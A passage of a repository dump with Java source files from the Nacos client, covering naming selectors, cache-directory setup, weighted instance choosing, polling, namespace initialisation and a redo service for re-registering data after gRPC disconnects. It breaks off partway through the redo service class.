    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.selector;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.naming.selector.NamingContext;\n\nimport java.util.List;\n\n/**\n * Service info context.\n *\n * @author xiweng.yy\n */\npublic class ServiceInfoContext implements NamingContext {\n    \n    private final ServiceInfo serviceInfo;\n    \n    public ServiceInfoContext(ServiceInfo serviceInfo) {\n        this.serviceInfo = serviceInfo;\n    }\n    \n    @Override\n    public String getServiceName() {\n        return serviceInfo.getName();\n    }\n    \n    @Override\n    public String getGroupName() {\n        return serviceInfo.getGroupName();\n    }\n    \n    @Override\n    public String getClusters() {\n        return serviceInfo.getClusters();\n    }\n    \n    @Override\n    public List<Instance> getInstances() {\n        return serviceInfo.getHosts();\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/utils/CacheDirUtil.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.utils;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.File;\n\nimport com.alibaba.nacos.client.env.NacosClientProperties;\n\n/**\n * Cache Dir Utils.\n *\n * @author zongkang.guo\n */\npublic class CacheDirUtil {\n    \n    private static String cacheDir;\n    \n    private static final String JM_SNAPSHOT_PATH_PROPERTY = \"JM.SNAPSHOT.PATH\";\n    \n    private static final String FILE_PATH_NACOS = \"nacos\";\n    \n    private static final String FILE_PATH_NAMING = \"naming\";\n    \n    private static final String USER_HOME_PROPERTY = \"user.home\";\n    \n    /**\n     * Init cache dir.\n     *\n     * @param namespace  namespace.\n     * @param properties nacosClientProperties.\n     * @return\n     */\n    public static String initCacheDir(String namespace, NacosClientProperties properties) {\n        \n        String jmSnapshotPath = properties.getProperty(JM_SNAPSHOT_PATH_PROPERTY);\n        \n        String namingCacheRegistryDir = \"\";\n        if (properties.getProperty(PropertyKeyConst.NAMING_CACHE_REGISTRY_DIR) != null) {\n            namingCacheRegistryDir =\n                    File.separator + properties.getProperty(PropertyKeyConst.NAMING_CACHE_REGISTRY_DIR);\n        }\n        \n        if (!StringUtils.isBlank(jmSnapshotPath)) {\n            cacheDir = jmSnapshotPath + File.separator + FILE_PATH_NACOS + namingCacheRegistryDir + File.separator\n                    + FILE_PATH_NAMING + File.separator + namespace;\n        } else {\n            cacheDir =\n                    properties.getProperty(USER_HOME_PROPERTY) + File.separator + FILE_PATH_NACOS + namingCacheRegistryDir\n                            + File.separator + FILE_PATH_NAMING + File.separator + namespace;\n        }\n        \n        return cacheDir;\n    }\n    \n    public static String getCacheDir() {\n        return cacheDir;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/utils/Chooser.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.utils;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.concurrent.ThreadLocalRandom;\n\n/**\n * Chooser.\n *\n * @author alibaba\n */\npublic class Chooser<K, T> {\n    \n    private final K uniqueKey;\n    \n    private volatile Ref<T> ref;\n    \n    public Chooser(K uniqueKey) {\n        this(uniqueKey, new ArrayList<>());\n    }\n    \n    public Chooser(K uniqueKey, List<Pair<T>> pairs) {\n        Ref<T> ref = new Ref<>(pairs);\n        ref.refresh();\n        this.uniqueKey = uniqueKey;\n        this.ref = ref;\n    }\n    \n    /**\n     * Random get one item.\n     *\n     * @return item\n     */\n    public T random() {\n        List<T> items = ref.items;\n        if (items.size() == 0) {\n            return null;\n        }\n        if (items.size() == 1) {\n            return items.get(0);\n        }\n        return items.get(ThreadLocalRandom.current().nextInt(items.size()));\n    }\n    \n    /**\n     * Random get one item with weight.\n     *\n     * @return item\n     */\n    public T randomWithWeight() {\n        Ref<T> ref = this.ref;\n        double random = ThreadLocalRandom.current().nextDouble(0, 1);\n        int index = Arrays.binarySearch(ref.weights, random);\n        if (index < 0) {\n            index = -index - 1;\n        } else {\n            return ref.items.get(index);\n        }\n        \n        if (index < ref.weights.length) {\n            if (random < ref.weights[index]) {\n                return ref.items.get(index);\n            }\n        }\n        \n        if (ref.weights.length == 0) {\n            throw new IllegalStateException(\"Cumulative Weight wrong , the array length is equal to 0.\");\n        }\n        \n        /* This should never happen, but it ensures we will return a correct\n         * object in case there is some floating point inequality problem\n         * wrt the cumulative probabilities. */\n        return ref.items.get(ref.items.size() - 1);\n    }\n    \n    public K getUniqueKey() {\n        return uniqueKey;\n    }\n    \n    public Ref<T> getRef() {\n        return ref;\n    }\n    \n    /**\n     * refresh items.\n     *\n     * @param itemsWithWeight items with weight\n     */\n    public void refresh(List<Pair<T>> itemsWithWeight) {\n        Ref<T> newRef = new Ref<>(itemsWithWeight);\n        newRef.refresh();\n        newRef.poller = this.ref.poller.refresh(newRef.items);\n        this.ref = newRef;\n    }\n    \n    public class Ref<T> {\n        \n        private List<Pair<T>> itemsWithWeight = new ArrayList<>();\n        \n        private final List<T> items = new ArrayList<>();\n        \n        private Poller<T> poller = new GenericPoller<>(items);\n        \n        private double[] weights;\n        \n        public Ref(List<Pair<T>> itemsWithWeight) {\n            if (itemsWithWeight != null) {\n                this.itemsWithWeight = itemsWithWeight;\n            }\n        }\n        \n        /**\n         * Refresh.\n         */\n        public void refresh() {\n            double originWeightSum = 0;\n            int size = 0;\n            for (Pair<T> item : itemsWithWeight) {\n                \n                double weight = item.weight();\n                //ignore item which weight is zero.see test_randomWithWeight_weight0 in ChooserTest\n                if (weight <= 0) {\n                    continue;\n                }\n                \n                items.add(item.item());\n                if (Double.isInfinite(weight)) {\n                    weight = 10000.0D;\n                }\n                if (Double.isNaN(weight)) {\n                    weight = 1.0D;\n                }\n                originWeightSum += weight;\n                size++;\n            }\n            \n            weights = new double[size];\n            double exactWeight;\n            double randomRange = 0D;\n            int index = 0;\n            for (Pair<T> item : itemsWithWeight) {\n                double singleWeight = item.weight();\n                //ignore item which weight is zero.see test_randomWithWeight_weight0 in ChooserTest\n                if (singleWeight <= 0) {\n                    continue;\n                }\n                \n                exactWeight = singleWeight / originWeightSum;\n                weights[index] = randomRange + exactWeight;\n                randomRange = weights[index++];\n            }\n            \n            double doublePrecisionDelta = 0.0001;\n            \n            if (index == 0 || (Math.abs(weights[index - 1] - 1) < doublePrecisionDelta)) {\n                return;\n            }\n            throw new IllegalStateException(\n                    \"Cumulative Weight calculate wrong , the sum of probabilities does not equals 1.\");\n        }\n        \n        @Override\n        public int hashCode() {\n            return itemsWithWeight.hashCode();\n        }\n        \n        @SuppressWarnings(\"unchecked\")\n        @Override\n        public boolean equals(Object other) {\n            if (this == other) {\n                return true;\n            }\n            if (other == null) {\n                return false;\n            }\n            if (getClass() != other.getClass()) {\n                return false;\n            }\n            Ref<T> otherRef = (Ref<T>) other;\n            return this.itemsWithWeight.equals(otherRef.itemsWithWeight);\n        }\n    }\n    \n    @Override\n    public int hashCode() {\n        return uniqueKey.hashCode();\n    }\n    \n    @Override\n    public boolean equals(Object other) {\n        if (this == other) {\n            return true;\n        }\n        if (other == null) {\n            return false;\n        }\n        if (getClass() != other.getClass()) {\n            return false;\n        }\n        \n        Chooser otherChooser = (Chooser) other;\n        if (this.uniqueKey == null) {\n            if (otherChooser.getUniqueKey() != null) {\n                return false;\n            }\n        } else {\n            if (otherChooser.getUniqueKey() == null) {\n                return false;\n            } else if (!this.uniqueKey.equals(otherChooser.getUniqueKey())) {\n                return false;\n            }\n            \n        }\n        return this.ref.equals(otherChooser.getRef());\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/utils/GenericPoller.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.utils;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.concurrent.atomic.AtomicInteger;\n\n/**\n * Generic Poller.\n *\n * @author nkorange\n */\npublic class GenericPoller<T> implements Poller<T> {\n    \n    private final AtomicInteger index = new AtomicInteger(0);\n    \n    private List<T> items = new ArrayList<>();\n    \n    public GenericPoller(List<T> items) {\n        this.items = items;\n    }\n    \n    @Override\n    public T next() {\n        return items.get(Math.abs(index.getAndIncrement() % items.size()));\n    }\n    \n    @Override\n    public Poller<T> refresh(List<T> items) {\n        return new GenericPoller<>(items);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/utils/InitUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.utils;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.SystemPropertyKeyConst;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.selector.ExpressionSelector;\nimport com.alibaba.nacos.api.selector.NoneSelector;\nimport com.alibaba.nacos.api.selector.SelectorType;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.env.SourceType;\nimport com.alibaba.nacos.client.utils.ContextPathUtil;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.alibaba.nacos.client.utils.TemplateUtils;\nimport com.alibaba.nacos.client.utils.TenantUtil;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\n/**\n * Init utils.\n *\n * @author liaochuntao\n * @author deshao\n */\npublic class InitUtils {\n    \n    /**\n     * Add a difference to the name naming. This method simply initializes the namespace for Naming. Config\n     * initialization is not the same, so it cannot be reused directly.\n     *\n     * @param properties properties\n     * @return namespace\n     */\n    public static String initNamespaceForNaming(NacosClientProperties properties) {\n        String tmpNamespace = null;\n        \n        String isUseCloudNamespaceParsing = properties.getProperty(PropertyKeyConst.IS_USE_CLOUD_NAMESPACE_PARSING,\n                properties.getProperty(SystemPropertyKeyConst.IS_USE_CLOUD_NAMESPACE_PARSING,\n                        String.valueOf(Constants.DEFAULT_USE_CLOUD_NAMESPACE_PARSING)));\n        \n        if (Boolean.parseBoolean(isUseCloudNamespaceParsing)) {\n            \n            tmpNamespace = TenantUtil.getUserTenantForAns();\n            LogUtils.NAMING_LOGGER.info(\"initializer namespace from ans.namespace attribute : {}\", tmpNamespace);\n            \n            tmpNamespace = TemplateUtils.stringEmptyAndThenExecute(tmpNamespace, () -> {\n                String namespace = properties.getProperty(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_NAMESPACE);\n                LogUtils.NAMING_LOGGER.info(\n                        \"initializer namespace from ALIBABA_ALIWARE_NAMESPACE attribute :\" + namespace);\n                return namespace;\n            });\n        }\n        \n        tmpNamespace = TemplateUtils.stringEmptyAndThenExecute(tmpNamespace, () -> {\n            String namespace = properties.getPropertyFrom(SourceType.JVM, PropertyKeyConst.NAMESPACE);\n            LogUtils.NAMING_LOGGER.info(\"initializer namespace from namespace attribute :\" + namespace);\n            return namespace;\n        });\n        \n        if (StringUtils.isEmpty(tmpNamespace)) {\n            tmpNamespace = properties.getProperty(PropertyKeyConst.NAMESPACE);\n        }\n        \n        tmpNamespace = TemplateUtils.stringEmptyAndThenExecute(tmpNamespace, () -> UtilAndComs.DEFAULT_NAMESPACE_ID);\n        return tmpNamespace;\n    }\n    \n    /**\n     * Init web root context.\n     *\n     * @param properties properties\n     * @since 1.4.1\n     */\n    public static void initWebRootContext(NacosClientProperties properties) {\n        final String webContext = properties.getProperty(PropertyKeyConst.CONTEXT_PATH);\n        TemplateUtils.stringNotEmptyAndThenExecute(webContext, () -> {\n            UtilAndComs.webContext = ContextPathUtil.normalizeContextPath(webContext);\n            UtilAndComs.nacosUrlBase = UtilAndComs.webContext + \"/v1/ns\";\n            UtilAndComs.nacosUrlInstance = UtilAndComs.nacosUrlBase + \"/instance\";\n        });\n    }\n    \n    /**\n     * Register subType for serialization.\n     *\n     * <p>\n     * Now these subType implementation class has registered in static code. But there are some problem for classloader.\n     * The implementation class will be loaded when they are used, which will make deserialize before register.\n     * </p>\n     *\n     * <p>\n     * 子类实现类中的静态代码串中已经向Jackson进行了注册，但是由于classloader的原因，只有当 该子类被使用的时候，才会加载该类。这可能会导致Jackson先进性反序列化，再注册子类，从而导致 反序列化失败。\n     * </p>\n     */\n    public static void initSerialization() {\n        // TODO register in implementation class or remove subType\n        JacksonUtils.registerSubtype(NoneSelector.class, SelectorType.none.name());\n        JacksonUtils.registerSubtype(ExpressionSelector.class, SelectorType.label.name());\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/utils/Pair.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.utils;\n\n/**\n * Pair.\n *\n * @author nkorange\n */\npublic class Pair<T> {\n    \n    private final T item;\n    \n    private final double weight;\n    \n    public Pair(T item, double weight) {\n        this.item = item;\n        this.weight = weight;\n    }\n    \n    public T item() {\n        return item;\n    }\n    \n    public double weight() {\n        return weight;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/utils/Poller.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.utils;\n\nimport java.util.List;\n\n/**\n * Poller.\n *\n * @author nkorange\n */\npublic interface Poller<T> {\n    \n    /**\n     * Get next element selected by poller.\n     *\n     * @return next element\n     */\n    T next();\n    \n    /**\n     * Update items stored in poller.\n     *\n     * @param items new item list\n     * @return new poller instance\n     */\n    Poller<T> refresh(List<T> items);\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/utils/UtilAndComs.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.utils;\n\n/**\n * Util and constants.\n *\n * @author xuanyin.zy\n */\npublic class UtilAndComs {\n    \n    public static String webContext = \"/nacos\";\n    \n    public static String nacosUrlBase = webContext + \"/v1/ns\";\n    \n    public static String nacosUrlInstance = nacosUrlBase + \"/instance\";\n    \n    public static String nacosUrlService = nacosUrlBase + \"/service\";\n    \n    public static final String ENV_LIST_KEY = \"envList\";\n    \n    public static final String ALL_IPS = \"000--00-ALL_IPS--00--000\";\n    \n    public static final String FAILOVER_SWITCH = \"00-00---000-VIPSRV_FAILOVER_SWITCH-000---00-00\";\n    \n    public static final String DEFAULT_NAMESPACE_ID = \"public\";\n    \n    public static final int REQUEST_DOMAIN_RETRY_COUNT = 3;\n    \n    @Deprecated\n    public static final String NACOS_NAMING_LOG_NAME = \"com.alibaba.nacos.naming.log.filename\";\n    \n    @Deprecated\n    public static final String NACOS_NAMING_LOG_LEVEL = \"com.alibaba.nacos.naming.log.level\";\n    \n    public static final String ENV_CONFIGS = \"00-00---000-ENV_CONFIGS-000---00-00\";\n    \n    public static final String VIP_CLIENT_FILE = \"vipclient.properties\";\n    \n    public static final String ALL_HOSTS = \"00-00---000-ALL_HOSTS-000---00-00\";\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/redo/data/RedoData.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.redo.data;\n\nimport java.util.Objects;\n\n/**\n * Nacos naming redo data.\n *\n * @author xiweng.yy\n */\npublic abstract class RedoData<T> {\n    \n    /**\n     * Expected states for finally.\n     *\n     * <ul>\n     *     <li>{@code true} meas the cached data expect registered to server finally.</li>\n     *     <li>{@code false} means unregistered from server.</li>\n     * </ul>\n     */\n    private volatile boolean expectedRegistered;\n    \n    /**\n     * If {@code true} means cached data has been registered to server successfully.\n     */\n    private volatile boolean registered;\n    \n    /**\n     * If {@code true} means cached data is unregistering from server.\n     */\n    private volatile boolean unregistering;\n    \n    private T data;\n    \n    protected RedoData() {\n        this.expectedRegistered = true;\n    }\n    \n    public void setExpectedRegistered(boolean registered) {\n        this.expectedRegistered = registered;\n    }\n    \n    public boolean isExpectedRegistered() {\n        return expectedRegistered;\n    }\n    \n    public boolean isRegistered() {\n        return registered;\n    }\n    \n    public boolean isUnregistering() {\n        return unregistering;\n    }\n    \n    public void setRegistered(boolean registered) {\n        this.registered = registered;\n    }\n    \n    public void setUnregistering(boolean unregistering) {\n        this.unregistering = unregistering;\n    }\n    \n    public T get() {\n        return data;\n    }\n    \n    public void set(T data) {\n        this.data = data;\n    }\n    \n    public void registered() {\n        this.registered = true;\n        this.unregistering = false;\n    }\n    \n    public void unregistered() {\n        this.registered = false;\n        this.unregistering = true;\n    }\n    \n    public boolean isNeedRedo() {\n        return !RedoType.NONE.equals(getRedoType());\n    }\n    \n    /**\n     * Get redo type for current redo data without expected state.\n     *\n     * <ul>\n     *     <li>{@code registered=true} & {@code unregistering=false} means data has registered, so redo should not do anything.</li>\n     *     <li>{@code registered=true} & {@code unregistering=true} means data has registered and now need unregister.</li>\n     *     <li>{@code registered=false} & {@code unregistering=false} means not registered yet, need register again.</li>\n     *     <li>{@code registered=false} & {@code unregistering=true} means not registered yet and not continue to register.</li>\n     * </ul>\n     *\n     * @return redo type\n     */\n    public RedoType getRedoType() {\n        if (isRegistered() && !isUnregistering()) {\n            return expectedRegistered ? RedoType.NONE : RedoType.UNREGISTER;\n        } else if (isRegistered() && isUnregistering()) {\n            return RedoType.UNREGISTER;\n        } else if (!isRegistered() && !isUnregistering()) {\n            return RedoType.REGISTER;\n        } else {\n            return expectedRegistered ? RedoType.REGISTER : RedoType.REMOVE;\n        }\n    }\n    \n    public enum RedoType {\n        \n        /**\n         * Redo register.\n         */\n        REGISTER,\n        \n        /**\n         * Redo unregister.\n         */\n        UNREGISTER,\n        \n        /**\n         * Redo nothing.\n         */\n        NONE,\n        \n        /**\n         * Remove redo data.\n         */\n        REMOVE;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        RedoData<?> redoData = (RedoData<?>) o;\n        return registered == redoData.registered && unregistering == redoData.unregistering && Objects.equals(data,\n                redoData.data);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(registered, unregistering, data);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/redo/service/AbstractRedoService.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.redo.service;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.redo.data.RedoData;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\nimport com.alibaba.nacos.common.remote.client.Connection;\nimport com.alibaba.nacos.common.remote.client.ConnectionEventListener;\nimport org.slf4j.Logger;\n\nimport java.util.HashSet;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Abstract redo service.\n *\n * @author xiweng.yy\n */\npublic abstract class AbstractRedoService implements ConnectionEventListener, Closeable {\n    \n    private static final String REDO_THREAD_NAME_PATTERN = \"com.alibaba.nacos.client.%s.redo\";\n    \n    private final Logger logger;\n    \n    private final ScheduledExecutorService redoExecutor;\n    \n    private final Map<Class<?>, Map<String, RedoData<?>>> redoDataMap;\n    \n    private int redoThreadCount;\n    \n    private long redoDelayTime;\n    \n    private volatile boolean connected = false;\n    \n    protected AbstractRedoService(Logger logger, NacosClientProperties properties, String module) {\n        this.logger = logger;\n        setProperties(properties);\n        this.redoExecutor = new ScheduledThreadPoolExecutor(redoThreadCount,\n                new NameThreadFactory(String.format(REDO_THREAD_NAME_PATTERN, module)));\n        this.redoDataMap = new ConcurrentHashMap<>(2);\n    }\n    \n    private void setProperties(NacosClientProperties properties) {\n        redoDelayTime = properties.getLong(PropertyKeyConst.REDO_DELAY_TIME, Constants.DEFAULT_REDO_DELAY_TIME);\n        redoThreadCount = properties.getInteger(PropertyKeyConst.REDO_DELAY_THREAD_COUNT,\n                Constants.DEFAULT_REDO_THREAD_COUNT);\n    }\n    \n    protected void startRedoTask() {\n        this.redoExecutor.scheduleWithFixedDelay(buildRedoTask(), redoDelayTime, redoDelayTime,\n                TimeUnit.MILLISECONDS);\n    }\n    \n    /**\n     * Build redo task to do redo work.\n     *\n     * @return redo task\n     */\n    protected abstract AbstractRedoTask buildRedoTask();\n    \n    @Override\n    public void onConnected(Connection connection) {\n        connected = true;\n        logger.info(\"Grpc connection connect\");\n    }\n    \n    @Override\n    public void onDisConnect(Connection connection) {\n        connected = false;\n        logger.warn(\"Grpc connection disconnect, mark to redo\");\n        for (Class<?> each : redoDataMap.keySet()) {\n            Map<String, RedoData<?>> actualRedoData = this.redoDataMap.get(each);\n            synchronized (actualRedoData) {\n                actualRedoData.values().forEach(redoData -> redoData.setRegistered(false));\n            }\n        }\n        logger.warn(\"mark to redo completed\");\n    }\n    \n    @Override\n    public void shutdown() {\n        logger.info(\"Shutdown grpc redo service executor {}\", redoExecutor);\n        redoDataMap.clear();\n        redoExecutor.shutdownNow();\n    }\n    \n    public boolean isConnected() {\n        return connected;\n    }\n    \n    /**\n     * Cache the redo data by class and redo data key.\n     *\n     * @param key       key of redo data\n     * @param redoData  the redo data\n     * @param clazz     clazz of stored in {@link RedoData}.\n     */\n    public <T> void cachedRedoData(String key, RedoData<T> redoData, Class<T> clazz) {\n        Map<String, RedoData<?>> actualRedoData = this.redoDataMap.computeIfAbsent(clazz,\n                k -> new ConcurrentHashMap<>(2));\n        synchronized (actualRedoData) {\n            actualRedoData.put(key, redoData);\n        }\n    }\n    \n    /**\n     * Remove data for redo.\n     *\n     * @param key       key of redo data\n     * @param clazz     clazz of stored in {@link RedoData}.\n     */\n    public <T> void removeRedoData(String key, Class<T> clazz) {\n        Map<String, RedoData<?>> actualRedoData = this.redoDataMap.computeIfAbsent(clazz,\n                k -> new ConcurrentHashMap<>(2));\n        synchronized (actualRedoData) {\n            RedoData<?> redoData = actualRedoData.get(key);\n            if (null != redoData && !redoData.isExpectedRegistered()) {\n                actualRedoData.remove(key);\n            }\n        }\n    }\n    \n    /**\n     * Data register successfully, mark registered status as {@code true}.\n     *\n     * @param key   key of redo data\n     * @param clazz clazz of stored in {@link RedoData}.\n     */\n    public <T> void dataRegistered(String key, Class<T> clazz) {\n        Map<String, RedoData<?>> actualRedoData = this.redoDataMap.computeIfAbsent(clazz,\n                k -> new ConcurrentHashMap<>(2));\n        synchronized (actualRedoData) {\n            RedoData<?> redoData = actualRedoData.get(key);\n            if (null != redoData) {\n                redoData.registered();\n            }\n        }\n    }\n    \n    /**\n     * Data deregister, mark unregistering status as {@code true}.\n     *\n     * @param key   key of redo data\n     * @param clazz clazz of stored in {@link RedoData}.\n     */\n    public <T> void dataDeregister(String key, Class<T> clazz) {\n        Map<String, RedoData<?>> actualRedoData = this.redoDataMap.computeIfAbsent(clazz,\n                k -> new ConcurrentHashMap<>(2));\n        synchronized (actualRedoData) {\n            RedoData<?> redoData = actualRedoData.get(key);\n            if (null != redoData) {\n                redoData.setUnregistering(true);\n                redoData.setExpectedRegistered(false);\n            }\n        }\n    }\n    \n    /**\n     * Data deregister finished, mark unregistering status as {@code true}.\n     *\n     * @param key   key of redo data\n     * @param clazz clazz of stored in {@link RedoData}.\n     */\n    public <T> void dataDeregistered(String key, Class<T> clazz) {\n        Map<String, RedoData<?>> actualRedoData = this.redoDataMap.computeIfAbsent(clazz,\n                k -> new ConcurrentHashMap<>(2));\n        synchronized (actualRedoData) {\n            RedoData<?> redoData = actualRedoData.get(key);\n            if (null != redoData) {\n                redoData.unregistered();\n            }\n        }\n    }\n    \n    /**\n     * Judge data has registered to server.\n     *\n     * @param key   key of redo data\n     * @param clazz clazz of stored in {@link RedoData}.\n     * @return {@code true} if registered, otherwise {@code false}\n     */\n    public boolean isDataRegistered(String key, Class<?> clazz) {\n        Map<String, RedoData<?>> actualRedoData = this.redoDataMap.computeIfAbsent(clazz,\n                k -> new ConcurrentHashMap<>(2));\n        synchronized (actualRedoData) {\n            RedoData<?> redoData = actualRedoData.get(key);\n            return null != redoData && redoData.isRegistered();\n        }\n    }\n    \n    /**\n     * Find all redo data which need to do redo.\n     *\n     * @return set of {@link RedoData} need to do redo.\n     */\n    public <T> Set<RedoData<T>> findRedoData(Class<T> clazz) {\n        Set<RedoData<T>> result = new HashSet<>();\n        Map<String, RedoData<?>> actualRedoData = this.redoDataMap.computeIfAbsent(clazz,\n                k -> new ConcurrentHashMap<>(2));\n        synchronized (actualRedoData) {\n            for (RedoData<?> each : actualRedoData.values()) {\n                if (each.isNeedRedo()) {\n                    result.add((RedoData<T>) each);\n                }\n            }\n        }\n        return result;\n    }\n    \n    /**\n     * get Cache redo data.\n     *\n     * @param key   key of redo data\n     * @param clazz clazz of stored in {@link RedoData}.\n     * @return cache redo data\n     */\n    public <T> RedoData<T> getRedoData(String key, Class<?> clazz) {\n        Map<String, RedoData<?>> actualRedoData = this.redoDataMap.computeIfAbsent(clazz,\n                k -> new ConcurrentHashMap<>(2));\n        